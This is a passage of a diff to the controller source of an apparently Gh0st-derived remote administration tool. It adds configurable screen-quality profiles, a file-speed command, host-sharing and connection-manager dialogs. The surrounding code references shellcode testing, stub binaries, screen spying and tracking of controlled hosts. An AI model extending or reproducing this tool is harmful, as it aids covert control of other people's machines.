MessageBoxL("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
|
MessageBoxL("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
CharMsg* buf = new CharMsg(dlg.m_str.GetLength()+1);
|
CString payload = dlg.m_str + _T(":") + (dlg.m_bShine ? _T("0") : _T("1"));
|
||||||
memcpy(buf->data, dlg.m_str, dlg.m_str.GetLength());
|
CharMsg* buf = new CharMsg(payload.GetLength()+1);
|
||||||
buf->data[dlg.m_str.GetLength()] = 0;
|
memcpy(buf->data, payload, payload.GetLength());
|
||||||
|
buf->data[payload.GetLength()] = 0;
|
||||||
PostMessageA(WM_SHARE_CLIENT, (WPARAM)buf, NULL);
|
PostMessageA(WM_SHARE_CLIENT, (WPARAM)buf, NULL);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -8691,8 +8757,11 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(),
|
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(),
|
||||||
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), GetElapsedTime(startTime),
|
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), GetElapsedTime(startTime),
|
||||||
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), ctx->GetMasterID().c_str(), res[RES_CLIENT_ID]);
|
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), ctx->GetMasterID().c_str(), res[RES_CLIENT_ID]);
|
||||||
std::string geo = res[RES_CLIENT_PUBIP].IsEmpty() ? "" : m_IPConverter->GetGeoLocation(res[RES_CLIENT_PUBIP].GetString());
|
// 地理信息只在加载了本地 IP 库(QQWry/ip2region)时才查询并展示。
|
||||||
if (m_HasLocDB) {
|
// 未装库时 m_IPConverter 是网络版 GetGeoLocation(同步外网 HTTP,可达数秒),
|
||||||
|
// 且结果不会被显示——跳过可消除双击浮窗的弹出延时。
|
||||||
|
if (m_HasLocDB && !res[RES_CLIENT_PUBIP].IsEmpty()) {
|
||||||
|
std::string geo = m_IPConverter->GetGeoLocation(res[RES_CLIENT_PUBIP].GetString());
|
||||||
CString qqwryLoc;
|
CString qqwryLoc;
|
||||||
qqwryLoc.FormatL("\r\n地理信息: %s", geo.c_str());
|
qqwryLoc.FormatL("\r\n地理信息: %s", geo.c_str());
|
||||||
strText += qqwryLoc;
|
strText += qqwryLoc;
|
||||||
@@ -8793,7 +8862,7 @@ void CMy2015RemoteDlg::OnListSingleClick(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
OpenLoopTip(ctx, anchor);
|
OpenLoopTip(ctx, anchor);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 屏幕预览参数挑选:复用既有 GetTargetQualityLevel + GetScreenPreviewProfile
|
// 屏幕预览参数挑选:复用 GetTargetQualityLevel + GetPreviewProfileCfg(可配置的 6 档预览参数表)
|
||||||
// RTT 阈值表与屏幕共享共用(FRP 模式阈值更宽松);超清档(Ultra/High)+ 4K/超宽屏
|
// RTT 阈值表与屏幕共享共用(FRP 模式阈值更宽松);超清档(Ultra/High)+ 4K/超宽屏
|
||||||
// 时按 min(screenWidth/4, 1280) 自适应放大,避免高分屏被压成无信息缩略图
|
// 时按 min(screenWidth/4, 1280) 自适应放大,避免高分屏被压成无信息缩略图
|
||||||
void CMy2015RemoteDlg::ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const
|
void CMy2015RemoteDlg::ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const
|
||||||
@@ -8807,7 +8876,7 @@ void CMy2015RemoteDlg::ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, B
|
|||||||
int rttForLevel = ping > 0 ? ping : 250;
|
int rttForLevel = ping > 0 ? ping : 250;
|
||||||
|
|
||||||
int level = GetTargetQualityLevel(rttForLevel, m_settings.UsingFRPProxy ? 1 : 0);
|
int level = GetTargetQualityLevel(rttForLevel, m_settings.UsingFRPProxy ? 1 : 0);
|
||||||
const PreviewProfile& prof = GetScreenPreviewProfile(level);
|
const PreviewProfile& prof = GetPreviewProfileCfg(level);
|
||||||
int base = prof.maxWidth;
|
int base = prof.maxWidth;
|
||||||
BYTE q = (BYTE)prof.jpegQuality;
|
BYTE q = (BYTE)prof.jpegQuality;
|
||||||
|
|
||||||
@@ -9141,6 +9210,150 @@ void CMy2015RemoteDlg::SaveThumbnailSettingsToCfg() const
|
|||||||
THIS_CFG.SetInt("thumbnail", "JpegQuality", m_ThumbnailCfg.JpegQuality);
|
THIS_CFG.SetInt("thumbnail", "JpegQuality", m_ThumbnailCfg.JpegQuality);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ===== 远程桌面质量等级配置([quality] 节) =====
|
||||||
|
// 6 档 QualityProfile 的读写与下发入口。缺省值回落到 common/commands.h 的
|
||||||
|
// GetQualityProfile(),与客户端默认表一致;用户改过的档位单独落盘到 INI。
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::LoadQualityProfilesFromCfg()
|
||||||
|
{
|
||||||
|
// 先整体回落到内置默认,再逐字段覆盖,避免 INI 缺项时读到 0
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
m_QualityProfiles[i] = GetQualityProfile(i);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
std::string sec = "profile" + std::to_string(i);
|
||||||
|
QualityProfile& p = m_QualityProfiles[i];
|
||||||
|
|
||||||
|
p.maxFPS = THIS_CFG.GetInt("quality", sec + "_maxFPS", p.maxFPS);
|
||||||
|
p.maxWidth = THIS_CFG.GetInt("quality", sec + "_maxWidth", p.maxWidth);
|
||||||
|
p.algorithm = THIS_CFG.GetInt("quality", sec + "_algorithm", p.algorithm);
|
||||||
|
p.bitRate = THIS_CFG.GetInt("quality", sec + "_bitRate", p.bitRate);
|
||||||
|
|
||||||
|
// Clamp 到安全范围(防 INI 被手工编错)
|
||||||
|
if (p.maxFPS < 1) p.maxFPS = 1;
|
||||||
|
if (p.maxFPS > 60) p.maxFPS = 60;
|
||||||
|
if (p.maxWidth < 0) p.maxWidth = 0;
|
||||||
|
if (p.maxWidth > 8192) p.maxWidth = 8192;
|
||||||
|
if (p.algorithm < ALGORITHM_GRAY || p.algorithm > ALGORITHM_RGB565)
|
||||||
|
p.algorithm = ALGORITHM_H264;
|
||||||
|
if (p.bitRate < 0) p.bitRate = 0;
|
||||||
|
if (p.bitRate > 50000) p.bitRate = 50000;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::SaveQualityProfilesToCfg() const
|
||||||
|
{
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
std::string sec = "profile" + std::to_string(i);
|
||||||
|
const QualityProfile& p = m_QualityProfiles[i];
|
||||||
|
THIS_CFG.SetInt("quality", sec + "_maxFPS", p.maxFPS);
|
||||||
|
THIS_CFG.SetInt("quality", sec + "_maxWidth", p.maxWidth);
|
||||||
|
THIS_CFG.SetInt("quality", sec + "_algorithm", p.algorithm);
|
||||||
|
THIS_CFG.SetInt("quality", sec + "_bitRate", p.bitRate);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const QualityProfile& CMy2015RemoteDlg::GetQualityProfileCfg(int level) const
|
||||||
|
{
|
||||||
|
if (level < 0 || level >= QUALITY_COUNT)
|
||||||
|
return GetQualityProfile(level); // 越界:与 common 默认表同源兜底
|
||||||
|
return m_QualityProfiles[level];
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnQualityLevels()
|
||||||
|
{
|
||||||
|
CQualityLevelsDlg dlg(m_QualityProfiles, this);
|
||||||
|
if (dlg.DoModal() == IDOK) {
|
||||||
|
SaveQualityProfilesToCfg();
|
||||||
|
MessageBoxL("质量等级已保存,下次打开远程桌面时生效。", "提示", MB_ICONINFORMATION);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ===== 屏幕预览质量等级配置([preview] 节) =====
|
||||||
|
// 6 档 PreviewProfile 的读写入口。缺省值回落到 common/commands.h 的
|
||||||
|
// GetScreenPreviewProfile(),与内置预览参数表一致;用户改过的档位单独落盘到 INI。
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::LoadPreviewProfilesFromCfg()
|
||||||
|
{
|
||||||
|
// 先整体回落到内置默认,再逐字段覆盖,避免 INI 缺项时读到 0
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
m_PreviewProfiles[i] = GetScreenPreviewProfile(i);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
std::string sec = "preview" + std::to_string(i);
|
||||||
|
PreviewProfile& p = m_PreviewProfiles[i];
|
||||||
|
|
||||||
|
p.maxWidth = THIS_CFG.GetInt("preview", sec + "_maxWidth", p.maxWidth);
|
||||||
|
p.jpegQuality = THIS_CFG.GetInt("preview", sec + "_jpegQuality", p.jpegQuality);
|
||||||
|
|
||||||
|
// Clamp 到安全范围(防 INI 被手工编错)
|
||||||
|
if (p.maxWidth < 64) p.maxWidth = 64;
|
||||||
|
if (p.maxWidth > 2560) p.maxWidth = 2560;
|
||||||
|
if (p.jpegQuality < 1) p.jpegQuality = 1;
|
||||||
|
if (p.jpegQuality > 100) p.jpegQuality = 100;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::SavePreviewProfilesToCfg() const
|
||||||
|
{
|
||||||
|
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||||||
|
std::string sec = "preview" + std::to_string(i);
|
||||||
|
const PreviewProfile& p = m_PreviewProfiles[i];
|
||||||
|
THIS_CFG.SetInt("preview", sec + "_maxWidth", p.maxWidth);
|
||||||
|
THIS_CFG.SetInt("preview", sec + "_jpegQuality", p.jpegQuality);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const PreviewProfile& CMy2015RemoteDlg::GetPreviewProfileCfg(int level) const
|
||||||
|
{
|
||||||
|
if (level < 0 || level >= QUALITY_COUNT)
|
||||||
|
return GetScreenPreviewProfile(level); // 越界:与 common 默认表同源兜底
|
||||||
|
return m_PreviewProfiles[level];
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnPreviewLevels()
|
||||||
|
{
|
||||||
|
CPreviewLevelsDlg dlg(m_PreviewProfiles, this);
|
||||||
|
if (dlg.DoModal() == IDOK) {
|
||||||
|
SavePreviewProfilesToCfg();
|
||||||
|
MessageBoxL("预览质量等级已保存,下次发送预览时生效。", "提示", MB_ICONINFORMATION);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ===== 文件传输速度配置([transfer] 节) =====
|
||||||
|
// 档位表权威来源见 CFileSpeedDlg.h 的 kFileSpeedTiers。存 ChunkKb/DurationMs 两个 int
|
||||||
|
// 而非档位索引,自解释且直接对应 InitFileUpload 入参,不易错位。
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnFileTransferSpeed()
|
||||||
|
{
|
||||||
|
int chunkKb, durMs;
|
||||||
|
GetTransferSpeed(THIS_CFG, chunkKb, durMs);
|
||||||
|
CFileSpeedDlg dlg(chunkKb, durMs, this);
|
||||||
|
if (dlg.DoModal() == IDOK) {
|
||||||
|
THIS_CFG.SetInt("transfer", "ChunkKb", dlg.GetChunkKb());
|
||||||
|
THIS_CFG.SetInt("transfer", "DurationMs", dlg.GetDurMs());
|
||||||
|
MessageBoxL("文件传输速度已保存。上传速度重启主控端后生效;下载速度下次打开文件管理或远程桌面后生效。",
|
||||||
|
"提示", MB_ICONINFORMATION);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::SendFileSpeedCommand()
|
||||||
|
{
|
||||||
|
int chunkKb, durMs;
|
||||||
|
GetTransferSpeed(THIS_CFG, chunkKb, durMs);
|
||||||
|
|
||||||
|
// [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
|
||||||
|
BYTE buf[5];
|
||||||
|
buf[0] = CMD_FILE_SPEED;
|
||||||
|
buf[1] = (BYTE)(chunkKb & 0xFF);
|
||||||
|
buf[2] = (BYTE)((chunkKb >> 8) & 0xFF);
|
||||||
|
buf[3] = (BYTE)(durMs & 0xFF);
|
||||||
|
buf[4] = (BYTE)((durMs >> 8) & 0xFF);
|
||||||
|
SendSelectedCommand(buf, sizeof(buf));
|
||||||
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::ApplyThumbnailSettings()
|
void CMy2015RemoteDlg::ApplyThumbnailSettings()
|
||||||
{
|
{
|
||||||
// 任何已缓存的 HBITMAP 都是按"旧 ThumbWidth"渲染的,尺寸不再可信 —— 一律清空。
|
// 任何已缓存的 HBITMAP 都是按"旧 ThumbWidth"渲染的,尺寸不再可信 —— 一律清空。
|
||||||
@@ -9660,26 +9873,27 @@ void CMy2015RemoteDlg::OnShellcodeTestAesBin()
|
|||||||
|
|
||||||
void CMy2015RemoteDlg::OnOnlineAssignTo()
|
void CMy2015RemoteDlg::OnOnlineAssignTo()
|
||||||
{
|
{
|
||||||
CInputDialog dlg(this);
|
CShareHostDlg dlg(this, TRUE);
|
||||||
dlg.Init(_TR("转移主机(到期自动复原)"), _TR("输入<IP:PORT>地址:"));
|
dlg.Init(_TR("转移主机(到期自动复原)"), _TR("输入<IP:PORT>地址:"));
|
||||||
dlg.SetHistoryKey("ShareAddress");
|
dlg.SetHistoryKey("ShareAddress");
|
||||||
dlg.Init2(_TR("天数(支持浮点数):"), "30");
|
dlg.InitDays(_TR("天数(支持浮点数):"), "30");
|
||||||
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sSecondInput.GetString())<=0)
|
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sDays.GetString())<=0)
|
||||||
return;
|
return;
|
||||||
if (dlg.m_str.GetLength() >= 250) {
|
if (dlg.m_str.GetLength() >= 250) {
|
||||||
MessageBoxL("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
|
MessageBoxL("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (dlg.m_sSecondInput.GetLength() >= 6) {
|
if (dlg.m_sDays.GetLength() >= 6) {
|
||||||
MessageBoxL("超出使用时间可输入的字符数限制!", "提示", MB_ICONINFORMATION);
|
MessageBoxL("超出使用时间可输入的字符数限制!", "提示", MB_ICONINFORMATION);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
CString daysProto = dlg.m_sDays + _T(":") + (dlg.m_bShine ? _T("0") : _T("1"));
|
||||||
CharMsg* buf1 = new CharMsg(dlg.m_str.GetLength() + 1);
|
CharMsg* buf1 = new CharMsg(dlg.m_str.GetLength() + 1);
|
||||||
CharMsg* buf2 = new CharMsg(dlg.m_sSecondInput.GetLength() + 1);
|
CharMsg* buf2 = new CharMsg(daysProto.GetLength() + 1);
|
||||||
memcpy(buf1->data, dlg.m_str, dlg.m_str.GetLength());
|
memcpy(buf1->data, dlg.m_str, dlg.m_str.GetLength());
|
||||||
memcpy(buf2->data, dlg.m_sSecondInput, dlg.m_sSecondInput.GetLength());
|
memcpy(buf2->data, daysProto, daysProto.GetLength());
|
||||||
buf1->data[dlg.m_str.GetLength()] = 0;
|
buf1->data[dlg.m_str.GetLength()] = 0;
|
||||||
buf2->data[dlg.m_sSecondInput.GetLength()] = 0;
|
buf2->data[daysProto.GetLength()] = 0;
|
||||||
PostMessageA(WM_ASSIGN_CLIENT, (WPARAM)buf1, (LPARAM)buf2);
|
PostMessageA(WM_ASSIGN_CLIENT, (WPARAM)buf1, (LPARAM)buf2);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -11182,6 +11396,12 @@ void CMy2015RemoteDlg::OnMcpSettings()
|
|||||||
ApplyFrpSettings();
|
ApplyFrpSettings();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnConnectionManage()
|
||||||
|
{
|
||||||
|
BYTE cmd = COMMAND_CONNECTION;
|
||||||
|
SendSelectedCommand(&cmd, sizeof(BYTE));
|
||||||
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnTriggerSettings()
|
void CMy2015RemoteDlg::OnTriggerSettings()
|
||||||
{
|
{
|
||||||
if (m_DllList.empty()) {
|
if (m_DllList.empty()) {
|
||||||
|
|||||||
@@ -6,6 +6,7 @@
|
|||||||
#include "TrueColorToolBar.h"
|
#include "TrueColorToolBar.h"
|
||||||
#include "IOCPServer.h"
|
#include "IOCPServer.h"
|
||||||
#include <common/location.h>
|
#include <common/location.h>
|
||||||
|
#include "common/commands.h"
|
||||||
#include <map>
|
#include <map>
|
||||||
#include <unordered_map>
|
#include <unordered_map>
|
||||||
#include <mutex>
|
#include <mutex>
|
||||||
@@ -328,6 +329,30 @@ public:
|
|||||||
void LoadThumbnailSettingsFromCfg(); // 从 THIS_CFG 读到 m_ThumbnailCfg
|
void LoadThumbnailSettingsFromCfg(); // 从 THIS_CFG 读到 m_ThumbnailCfg
|
||||||
void SaveThumbnailSettingsToCfg() const; // m_ThumbnailCfg 落盘到 THIS_CFG
|
void SaveThumbnailSettingsToCfg() const; // m_ThumbnailCfg 落盘到 THIS_CFG
|
||||||
void TickThumbnailRefresh(); // TIMER_THUMBNAIL_REFRESH 主循环
|
void TickThumbnailRefresh(); // TIMER_THUMBNAIL_REFRESH 主循环
|
||||||
|
|
||||||
|
// ===== 远程桌面质量等级配置(6 档 QualityProfile) =====
|
||||||
|
// 主控端 UI 偏好,持久化走 THIS_CFG [quality] 节。服务端权威,经 CMD_QUALITY_PROFILES
|
||||||
|
// 下发给客户端。仅 UI 线程访问;修改后需重开远程桌面会话才对新连接生效。
|
||||||
|
QualityProfile m_QualityProfiles[QUALITY_COUNT];
|
||||||
|
void LoadQualityProfilesFromCfg(); // 从 THIS_CFG 读到 m_QualityProfiles(缺省回落 GetQualityProfile)
|
||||||
|
void SaveQualityProfilesToCfg() const; // m_QualityProfiles 落盘到 THIS_CFG
|
||||||
|
const QualityProfile& GetQualityProfileCfg(int level) const; // 供 ScreenSpyDlg 下发用
|
||||||
|
void OnQualityLevels(); // 高级→远程桌面质量等级
|
||||||
|
|
||||||
|
// ===== 屏幕预览质量等级配置(6 档 PreviewProfile) =====
|
||||||
|
// 双击主机单发预览 / 循环快照浮窗所用。持久化走 THIS_CFG [preview] 节。
|
||||||
|
// 仅 UI 线程访问;修改后下次发预览请求即生效。
|
||||||
|
PreviewProfile m_PreviewProfiles[QUALITY_COUNT];
|
||||||
|
void LoadPreviewProfilesFromCfg(); // 从 THIS_CFG 读到 m_PreviewProfiles(缺省回落 GetScreenPreviewProfile)
|
||||||
|
void SavePreviewProfilesToCfg() const; // m_PreviewProfiles 落盘到 THIS_CFG
|
||||||
|
const PreviewProfile& GetPreviewProfileCfg(int level) const; // 供 ChooseScreenPreviewParams 用
|
||||||
|
void OnPreviewLevels(); // 高级→屏幕预览质量等级
|
||||||
|
|
||||||
|
// ===== 文件传输速度配置([transfer] 节,ChunkKb / DurationMs) =====
|
||||||
|
// 主控端 UI 偏好,持久化走 THIS_CFG。上传方向读 THIS_CFG(重启主控端生效);
|
||||||
|
// 下载方向经 CMD_FILE_SPEED 下发到被控端(下次打开文件管理/远程桌面会话生效)。
|
||||||
|
void OnFileTransferSpeed(); // 高级→文件传输速度
|
||||||
|
void SendFileSpeedCommand(); // 把当前档位经主连接下发给被控端
|
||||||
void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
|
void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
|
||||||
void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
|
void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
|
||||||
void ClearThumbnailCacheEntry(uint64_t clientID);
|
void ClearThumbnailCacheEntry(uint64_t clientID);
|
||||||
@@ -491,6 +516,8 @@ public:
|
|||||||
// 由 m_cs 保护。
|
// 由 m_cs 保护。
|
||||||
std::map<uint64_t, std::wstring> m_ActiveWndW;
|
std::map<uint64_t, std::wstring> m_ActiveWndW;
|
||||||
afx_msg void OnOnlineMessage();
|
afx_msg void OnOnlineMessage();
|
||||||
|
afx_msg void OnChat();
|
||||||
|
afx_msg void OnMachineManager();
|
||||||
afx_msg void OnOnlineDelete();
|
afx_msg void OnOnlineDelete();
|
||||||
afx_msg void OnOnlineUpdate();
|
afx_msg void OnOnlineUpdate();
|
||||||
afx_msg void OnAbout();
|
afx_msg void OnAbout();
|
||||||
@@ -655,6 +682,7 @@ public:
|
|||||||
afx_msg void OnCancelShare();
|
afx_msg void OnCancelShare();
|
||||||
afx_msg void OnWebRemoteControl();
|
afx_msg void OnWebRemoteControl();
|
||||||
afx_msg void OnMcpSettings();
|
afx_msg void OnMcpSettings();
|
||||||
|
afx_msg void OnConnectionManage();
|
||||||
afx_msg void OnProxyPortAutorun();
|
afx_msg void OnProxyPortAutorun();
|
||||||
afx_msg void OnScreenpreviewLoop();
|
afx_msg void OnScreenpreviewLoop();
|
||||||
afx_msg void OnMenuCompress();
|
afx_msg void OnMenuCompress();
|
||||||
@@ -669,5 +697,6 @@ public:
|
|||||||
afx_msg void OnOnlineClientLog();
|
afx_msg void OnOnlineClientLog();
|
||||||
afx_msg void OnOnlineHistoryActivity();
|
afx_msg void OnOnlineHistoryActivity();
|
||||||
afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnOpenConnectionDialog(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg void OnOnlineForbidden();
|
afx_msg void OnOnlineForbidden();
|
||||||
};
|
};
|
||||||
@@ -266,6 +266,7 @@
|
|||||||
<None Include="res\Cur\MutiDrag.cur" />
|
<None Include="res\Cur\MutiDrag.cur" />
|
||||||
<None Include="res\My2015Remote.rc2" />
|
<None Include="res\My2015Remote.rc2" />
|
||||||
<None Include="res\web\fit.min.js" />
|
<None Include="res\web\fit.min.js" />
|
||||||
|
<None Include="res\web\opus-decoder.min.js" />
|
||||||
<None Include="res\web\xterm.css" />
|
<None Include="res\web\xterm.css" />
|
||||||
<None Include="res\web\xterm.min.js" />
|
<None Include="res\web\xterm.min.js" />
|
||||||
<None Include="stub2\stub32.bin" />
|
<None Include="stub2\stub32.bin" />
|
||||||
@@ -334,6 +335,7 @@
|
|||||||
<ClInclude Include="NotifySettingsDlg.h" />
|
<ClInclude Include="NotifySettingsDlg.h" />
|
||||||
<ClInclude Include="FeatureLimitsDlg.h" />
|
<ClInclude Include="FeatureLimitsDlg.h" />
|
||||||
<ClInclude Include="FrpsForSubDlg.h" />
|
<ClInclude Include="FrpsForSubDlg.h" />
|
||||||
|
<ClInclude Include="ShareHostDlg.h" />
|
||||||
<ClInclude Include="PluginSettingsDlg.h" />
|
<ClInclude Include="PluginSettingsDlg.h" />
|
||||||
<ClInclude Include="PreviewTipWnd.h" />
|
<ClInclude Include="PreviewTipWnd.h" />
|
||||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||||
@@ -349,6 +351,7 @@
|
|||||||
<ClInclude Include="SearchBarDlg.h" />
|
<ClInclude Include="SearchBarDlg.h" />
|
||||||
<ClInclude Include="Server.h" />
|
<ClInclude Include="Server.h" />
|
||||||
<ClInclude Include="ServicesDlg.h" />
|
<ClInclude Include="ServicesDlg.h" />
|
||||||
|
<ClInclude Include="ConnectionsDlg.h" />
|
||||||
<ClInclude Include="SettingDlg.h" />
|
<ClInclude Include="SettingDlg.h" />
|
||||||
<ClInclude Include="ShellDlg.h" />
|
<ClInclude Include="ShellDlg.h" />
|
||||||
<ClInclude Include="TerminalDlg.h" />
|
<ClInclude Include="TerminalDlg.h" />
|
||||||
@@ -462,6 +465,7 @@
|
|||||||
<ClCompile Include="NotifySettingsDlg.cpp" />
|
<ClCompile Include="NotifySettingsDlg.cpp" />
|
||||||
<ClCompile Include="FeatureLimitsDlg.cpp" />
|
<ClCompile Include="FeatureLimitsDlg.cpp" />
|
||||||
<ClCompile Include="FrpsForSubDlg.cpp" />
|
<ClCompile Include="FrpsForSubDlg.cpp" />
|
||||||
|
<ClCompile Include="ShareHostDlg.cpp" />
|
||||||
<ClCompile Include="Loader.c">
|
<ClCompile Include="Loader.c">
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||||
@@ -481,6 +485,7 @@
|
|||||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||||
<ClCompile Include="SearchBarDlg.cpp" />
|
<ClCompile Include="SearchBarDlg.cpp" />
|
||||||
<ClCompile Include="ServicesDlg.cpp" />
|
<ClCompile Include="ServicesDlg.cpp" />
|
||||||
|
<ClCompile Include="ConnectionsDlg.cpp" />
|
||||||
<ClCompile Include="SettingDlg.cpp" />
|
<ClCompile Include="SettingDlg.cpp" />
|
||||||
<ClCompile Include="ShellDlg.cpp" />
|
<ClCompile Include="ShellDlg.cpp" />
|
||||||
<ClCompile Include="TerminalDlg.cpp" />
|
<ClCompile Include="TerminalDlg.cpp" />
|
||||||
@@ -580,6 +585,7 @@
|
|||||||
<Image Include="res\chat.ico" />
|
<Image Include="res\chat.ico" />
|
||||||
<Image Include="res\ClientLog.ico" />
|
<Image Include="res\ClientLog.ico" />
|
||||||
<Image Include="res\cmdshell.ico" />
|
<Image Include="res\cmdshell.ico" />
|
||||||
|
<Image Include="res\connections.ico" />
|
||||||
<Image Include="res\decrypt.ico" />
|
<Image Include="res\decrypt.ico" />
|
||||||
<Image Include="res\DrawingBoard.ico" />
|
<Image Include="res\DrawingBoard.ico" />
|
||||||
<Image Include="res\dword.ico" />
|
<Image Include="res\dword.ico" />
|
||||||
|
|||||||
@@ -29,6 +29,7 @@
|
|||||||
<ClCompile Include="RegisterDlg.cpp" />
|
<ClCompile Include="RegisterDlg.cpp" />
|
||||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||||
<ClCompile Include="ServicesDlg.cpp" />
|
<ClCompile Include="ServicesDlg.cpp" />
|
||||||
|
<ClCompile Include="ConnectionsDlg.cpp" />
|
||||||
<ClCompile Include="SettingDlg.cpp" />
|
<ClCompile Include="SettingDlg.cpp" />
|
||||||
<ClCompile Include="ShellDlg.cpp" />
|
<ClCompile Include="ShellDlg.cpp" />
|
||||||
<ClCompile Include="TerminalDlg.cpp" />
|
<ClCompile Include="TerminalDlg.cpp" />
|
||||||
@@ -76,6 +77,7 @@
|
|||||||
<ClCompile Include="NotifyManager.cpp" />
|
<ClCompile Include="NotifyManager.cpp" />
|
||||||
<ClCompile Include="NotifySettingsDlg.cpp" />
|
<ClCompile Include="NotifySettingsDlg.cpp" />
|
||||||
<ClCompile Include="FrpsForSubDlg.cpp" />
|
<ClCompile Include="FrpsForSubDlg.cpp" />
|
||||||
|
<ClCompile Include="ShareHostDlg.cpp" />
|
||||||
<ClCompile Include="NetworkDlg.cpp" />
|
<ClCompile Include="NetworkDlg.cpp" />
|
||||||
<ClCompile Include="IPHistoryDlg.cpp" />
|
<ClCompile Include="IPHistoryDlg.cpp" />
|
||||||
<ClCompile Include="FeatureLimitsDlg.cpp" />
|
<ClCompile Include="FeatureLimitsDlg.cpp" />
|
||||||
@@ -127,6 +129,7 @@
|
|||||||
<ClInclude Include="Resource.h" />
|
<ClInclude Include="Resource.h" />
|
||||||
<ClInclude Include="ScreenSpyDlg.h" />
|
<ClInclude Include="ScreenSpyDlg.h" />
|
||||||
<ClInclude Include="ServicesDlg.h" />
|
<ClInclude Include="ServicesDlg.h" />
|
||||||
|
<ClInclude Include="ConnectionsDlg.h" />
|
||||||
<ClInclude Include="SettingDlg.h" />
|
<ClInclude Include="SettingDlg.h" />
|
||||||
<ClInclude Include="ShellDlg.h" />
|
<ClInclude Include="ShellDlg.h" />
|
||||||
<ClInclude Include="TerminalDlg.h" />
|
<ClInclude Include="TerminalDlg.h" />
|
||||||
@@ -181,6 +184,7 @@
|
|||||||
<ClInclude Include="NotifyManager.h" />
|
<ClInclude Include="NotifyManager.h" />
|
||||||
<ClInclude Include="NotifySettingsDlg.h" />
|
<ClInclude Include="NotifySettingsDlg.h" />
|
||||||
<ClInclude Include="FrpsForSubDlg.h" />
|
<ClInclude Include="FrpsForSubDlg.h" />
|
||||||
|
<ClInclude Include="ShareHostDlg.h" />
|
||||||
